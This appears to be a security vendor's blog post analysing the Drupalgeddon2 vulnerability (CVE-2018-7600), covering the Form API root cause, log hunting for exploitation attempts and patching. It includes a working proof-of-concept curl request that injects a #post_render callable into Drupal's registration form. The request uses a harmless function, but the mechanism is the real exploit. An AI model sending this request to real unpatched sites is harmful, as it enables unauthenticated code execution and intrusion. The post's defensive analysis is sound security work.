Attack Simulation & Response

Red TeamEnd-to-end simulation using real adversary tradecraft Blue TeamThreat hunting, monitoring and incident response Purple TeamGrow your offensive and defensive teams together Ransomware Response24/7 emergency response for encrypted systems

Security Testing

Penetration TestingFinding flaws in web, network and mobile applications Enterprise Penetration TestingRegulation-aligned testing for finance and large enterprises Vulnerability ScanningContinuous scanning, prioritised with CVSS
A free scoping call tailored to your organisation.
All services Get a quote

Forensic Threat Hunting

PotreX VestigeHidden threat scanning across disk, memory and forensic traces

Threat Intelligence

PotreX ArgosDark web and leak-focused threat intelligence

Penetration Testing

PotreX BallistaEnterprise penetration testing platform with finding management
Every product can be deployed on-premises or in the cloud.
All products Request a demo
Services
Products
Blog Contact Us Sign In
Home / Blog / CVE-2018-7600
Vulnerability Analysis

Drupalgeddon2: Unauthenticated RCE Through the Form API

Summary

Drupal's Form API describes form fields as nested arrays containing special keys prefixed with #. Values of keys such as #post_render and #lazy_builder are treated as callables during rendering.

CVE-2018-7600 exists because request parameters could become those special keys. A single request to a form that needs no authentication — registration or password reset — grants the ability to call functions on the server. Within hours of publication it was being mass-exploited for cryptominer deployment.

Responsible use

The output below comes from an isolated lab and deliberately uses a harmless function (strtoupper) for verification. No payloads that execute system commands are published.

Advisory details

CVECVE-2018-7600 (Drupalgeddon2 / SA-CORE-2018-002)
ComponentDrupal core — Form API / render arrays
ClassCWE-20 · Improper input validation leading to remote code execution
SeverityCRITICAL · CVSS 9.8
Affected versions6.x, 7.x < 7.58, 8.3.x < 8.3.9, 8.4.x < 8.4.6, 8.5.x < 8.5.1
PrerequisiteNone — unauthenticated, single request

Root cause: user input entering the render array

A render array in Drupal looks like ['#type' => 'markup', '#markup' => 'text']. The render engine treats the value of #post_render as a function applied to the final output.

While parsing a request, a key such as mail[#post_render][] lands directly in that array, so the attacker controls both the function being called and the argument passed to it. The fix moves sanitisation to the very start of request handling, stripping every key that begins with #.

Harmless verification

Start with the version. Drupal installations often leave CHANGELOG.txt readable, which is an information leak in itself.

analyst@ubuntu: ~/labs/drupal –□✕
analyst@ubuntu:~/labs/drupal$ curl -s http://lab.local/CHANGELOG.txt | head -n 4
Drupal 8.4.5, 2018-02-21
-----------------------
- Fixed security issues: see SA-CORE-2018-001

#  below 8.4.6 — inside the affected range

Figure 1 — Determining the target's Drupal version

For verification we send a harmless function that upper-cases the #markup content to the registration form's AJAX endpoint. If the transformed marker comes back, the server is executing a function of our choosing.

analyst@ubuntu: ~/labs/drupal –□✕
analyst@ubuntu:~/labs/drupal$ curl -s 'http://lab.local/user/register?element_parents=account/mail/%23value&ajax_form=1' --data 'form_id=user_register_form&_drupal_ajax=1&mail[%23post_render][]=strtoupper&mail[%23type]=markup&mail[%23markup]=potrex-check-2026'
[{"command":"insert","method":"replaceWith","data":"POTREX-CHECK-2026"}]

#  the marker came back upper-cased: our function ran on the server
#  system functions could have been called at the same point — RCE confirmed

Figure 2 — Proving code execution with a harmless function

Log hunting

Exploitation attempts leave a clear signature in access logs: element_parents=account/mail/%23value and URL-encoded %23 (that is, #) in parameters.

analyst@ubuntu: /var/log/apache2 –□✕
analyst@ubuntu:/var/log/apache2$ zgrep -hoE '^[0-9.]+ .*(%23post_render|element_parents=account)' access.log* | awk '{print $1}' | sort | uniq -c | sort -rn | head
    214 45.90.1xx.37
     88 185.234.2xx.11
      9 10.10.4.22

#  nine requests from inside the network stand out — IR engaged

Figure 3 — Source distribution of historical exploitation attempts

Remediation and verification

The fix is upgrading core to a patched release. After the upgrade the same request is rejected by the request sanitiser.

analyst@ubuntu: ~/labs/drupal –□✕
analyst@ubuntu:~/labs/drupal$ composer update drupal/core --with-dependencies && drush status --field=drupal-version
Updating dependencies
  - Upgrading drupal/core (8.4.5 => 8.5.1)
8.5.1

#  replaying the request now returns 200 but no transformed marker — injection gone

Figure 4 — Core upgrade and version verification

What patching does not fix

Drupalgeddon2 was mass-exploited within hours of disclosure. On a late-patched installation an upgrade is not enough: look for .php files under sites/default/files, scheduled tasks, new administrator accounts and modified settings.php.

Conclusion

The lasting lesson of Drupalgeddon2 is how thin the line can be inside a framework between data and data that becomes code. When user input can merge into a structure that carries configuration meaning, validation has to happen at the outermost layer of the request, before business logic ever sees it.

Sources

Test it in your own environment

We scan your legacy CMS installations and internet-facing applications and report findings with proof.

Call now · 0850 551 01 01 WhatsApp · Send a message Email · info@potrex.com